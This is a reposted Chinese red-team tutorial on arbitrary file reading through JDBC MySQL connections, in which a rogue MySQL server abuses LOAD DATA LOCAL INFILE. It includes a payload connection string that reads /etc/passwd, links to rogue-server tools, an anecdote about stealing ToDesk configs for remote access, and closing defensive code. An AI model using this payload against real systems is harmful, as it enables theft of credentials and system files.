九维团队-红队(突破)| JDBC 漏洞利用-任意文件读取

admin 2024年5月14日23:18:43评论9 views字数 3141阅读10分28秒阅读模式

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

一、JDBC是什么

JDBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句的Java API。应用程序可通过这套API连接到关系数据库,并使用SQL语句来完成对数据库中数据的查询、更新和删除等操作。

应用程序使用JDBC访问数据库的方式如下图所示:

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

二、文件读取原理

应用程序存在数据库连接的探针,即存在可连接数据库的接口。当发现存在该接口时就可以考虑尝试任意文件读取。

针对利用过程来说,逻辑是伪造mysql服务器于应用服务器之间的互联,获取服务器的信任。

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

简单来讲,就是我们可以利用python或者其他语言伪造一个mysql服务器(监听3306端口),这个伪造的mysql服务器可以不实现mysql任何功能(除了向客户端回复 greeting package外),当有其他客户端连接上该服务器时,就可以读取该客户端上的任意文件,前提是客户端具有该文件读写权限。

针对任意文件读取

1、 load data infile

load data infile:将服务器上的文件插入表中。

load data local infile:将客户端的文件插入表中。

2、 allowUrlInLocalInfile

能够使用URL类支持的所有协议,进行SSRF获取file协议读取本地文件。

在mysql-connector-java包中 存在sendFileToServer方法。

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

其中判断allowUrlInLocalInfile是否为true开启load data local infile,即将客户端的文件插入表中(这里的客户端指的是应用服务器,我们本地伪造的是服务端)。

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

Payload:

jdbc:mysql://127.0.0.1:3306/DB_NAME?user=fileread_file:///etc/passwd&maxAllowedPacket=655360&allowUrlInLocalInfile=true

利用jdbc连接mysql,host可为本地也可为远端地址,后接数据库名(随便写一个不重要);user参数值利用file协议读取文件;allowUrlInLocalInfile=true开启load data local infile;maxAllowedPacket=655360限定数据包大小(在mysql-connector-java 5.1.x版本需要加上maxAllowedPacket=655360选项,否则报java.lang.NegativeArraySizeException错误)。

3、脚本运行原理

需要达到能够读取客户端任意文件目的,伪造的mysql服务端必须能够发送以下几个数据包:

  • 向mysql client发送Server greeting包;

  • 对mysql client的登录包做Accept all authentications响应(即任意用户密码都能登录);

  • 等待 Client 端发送一个Query Package;

  • 回复一个file transfer请求。

注:除了数据包外,还需考虑数据包格式问题。

以上伪造的数据包用以满足数据库连接请求与响应。

三、危害

得到任意读取目标主机上的任意文件。

笔者在实战时遇到了读取目标机器上todesk配置文件、导致直接远程连接主机的情况。

四、复现环境准备

1、 伪造的mysql环境

直接利用工具伪造环境。

工具地址:https://github.com/rmb122/rogue_mysql_serverhttps://github.com/fnmsd/MySQL_Fake_Server

工具使用方式:

以MySQL_Fake_Server为例:

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

Config.json配置文件:

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

Fileread一节配置了默认的几个系统文件,可以指定jdbc连接串的username来读取对应文件。

例如想要读取linux的/etc/passwd,username可指定为linux_passwd,即username=linux_passwd。或者可用fileread_指定要读取的文件,例如username=fileread_/etc/passwd,即可读取。

2、 利用JDBC连接mysql数据库

报错如下:

Exception in thread "main"java.lang.ClassNotFoundException:com.mysql.jdbc.Driver

*左右滑动查看更多

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

解决方案:

缺少mysql连接驱动,需要导入驱动包。

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

下载相应版本,不同版本对应payload不同。

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

五、复现过程

任意文件读取

利用JDBC连接数据库,需要跟上

allowUrlInLocalInfile=true

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

以user为key,value为需读取的文件,成功读取文件。

九维团队-红队(突破)|  JDBC 漏洞利用-任意文件读取

六、小结

防御建议:

可以使用预先定义的Properties将URL中的属性覆盖掉,就可以关闭本地文件读取、URL读取。

String driver = "com.mysql.jdbc.Driver";String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?user=test&maxAllowedPacket=655360&allowLoadLocalInfile=true";Class.forName(driver);Properties properties = new Properties();properties.setProperty("allowLoadLocalInfile","false");properties.setProperty("allowUrlInLocalInfile","false");properties.setProperty("allowLoadLocalInfileInPath","");Connection conn = DriverManager.getConnection(DB_URL,properties);

*左右滑动查看更多

小结:

目前还是有很多系统存在这种问题,多学一点就多拓宽自己的攻击面一点。

参考文章及推荐阅读:

1、Mysql客户端任意文件读取https://www.jianshu.com/p/3d26180268d72、从BlackHat来看JDBC Attackhttps://www.freebuf.com/vuls/341270.html3、小白看得懂的MySQL JDBC 反序列化漏洞分析https://xz.aliyun.com/t/8159#toc-24、java安全入门(三)——JDBC反序列化漏洞https://blog.csdn.net/weixin_45808483/article/details/1228992425、JDBC MySQL任意文件读取分析https://xz.aliyun.com/t/12011#toc-7IDEA报错:彻底解决java.lang.ClassNotFoundException: com.mysql.jdbc.Driver问题https://blog.csdn.net/weixin_43347550/article/details/106522309脚本资料:1、用于读取连接客户端文件的MySQL假服务器https://github.com/allyshka/Rogue-MySql-Server2、Rouge mysql 服务器支持从多种编程语言的大多数 mysql 库中读取文件https://github.com/rmb122/rogue_mysql_server

*左右滑动查看更多

原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| JDBC 漏洞利用-任意文件读取

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月14日23:18:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-红队(突破)| JDBC 漏洞利用-任意文件读取https://cn-sec.com/archives/2058407.html

发表评论

匿名网友 填写信息